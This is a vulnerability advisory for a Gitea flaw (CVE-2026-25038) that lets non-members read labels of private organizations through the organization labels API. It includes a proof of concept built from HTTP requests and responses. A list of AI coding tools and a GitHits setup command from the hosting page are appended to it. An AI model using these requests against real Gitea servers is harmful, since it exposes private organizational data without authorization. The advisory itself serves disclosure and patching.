Vulnerability advisory

GHSA-v73x-hx65-6pf4

Gitea: Unauthorized Access to Labels of Private Organizations

Published Updated OSV record ↗

Also known as CVE-2026-25038GO-2026-6076

Severity
  • CVSS 3.xCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Affected versions

AffectedFixed in
All versions before 1.26.31.26.3

Description

Summary

Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.

A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.

The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.

Details

The following endpoints are affected:

  • GET /api/v1/orgs/{org}/labels
  • GET /api/v1/orgs/{org}/labels/{id}

During testing, a private organization was created and a label was added to that organization.

Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.

However, the same user was still able to retrieve organization labels through the endpoints listed above.

For comparison, other organization-scoped endpoints such as:

  • GET /api/v1/orgs/{org}/teams
  • GET /api/v1/orgs/{org}/hooks
  • GET /api/v1/orgs/{org}/actions/secrets

correctly denied access to unauthorized users.

The label endpoints returned the full Label object, including fields such as:

  • id
  • name
  • description
  • color
  • url

Write operations were tested separately and remained protected by authorization checks.

PoC

Setup

Create a private organization:

POST /api/v1/orgs
Authorization: token <owner_token>

{
  "username": "target-org",
  "visibility": "private"
}

Create a label:

POST /api/v1/orgs/target-org/labels
Authorization: token <owner_token>

{
  "name": "internal-label",
  "color": "#aabbcc",
  "description": "private organization label"
}

Verify that the organization is not accessible to a non-member:

GET /api/v1/orgs/target-org
Authorization: token <non_member_token>

Response:

HTTP/1.1 404 Not Found
Retrieve all labels

Request:

GET /api/v1/orgs/target-org/labels
Authorization: token <non_member_token>

Observed response:

HTTP/1.1 200 OK

The response contains labels belonging to the private organization.

Retrieve a specific label

Request:

GET /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>

Observed response:

HTTP/1.1 200 OK

The full Label object is returned.

Verify write protection

Request:

PATCH /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>

Response:

HTTP/1.1 403 Forbidden
PoC Details

https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak

Impact

Users who are not authorized to access a private organization can obtain label metadata associated with that organization.

Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.

The issue affects confidentiality only. No integrity or availability impact was observed.

References

  • Codex
  • Claude Code
  • VS Code
  • GitHub Copilot
  • Cursor
  • Cline
  • Windsurf
  • Google Anti-gravity
  • OpenCode
  • Pi
  • Gemini CLI
  • Hermes Agent
  • Zed
  • Junie
  • Qwen Code
  • Kiro
  • Kilo Code
  • Factory Droid

Set up GitHits for your agents

Run this command:

<> bash
npx githits@latest init

What happens next:

  1. Opens your browser to authorize GitHits
  2. Asks whether to set up GitHits at the user or project level
  3. Detects your supported AI coding tools
  4. Lets you choose which tools to configure
  5. Configures the selected tools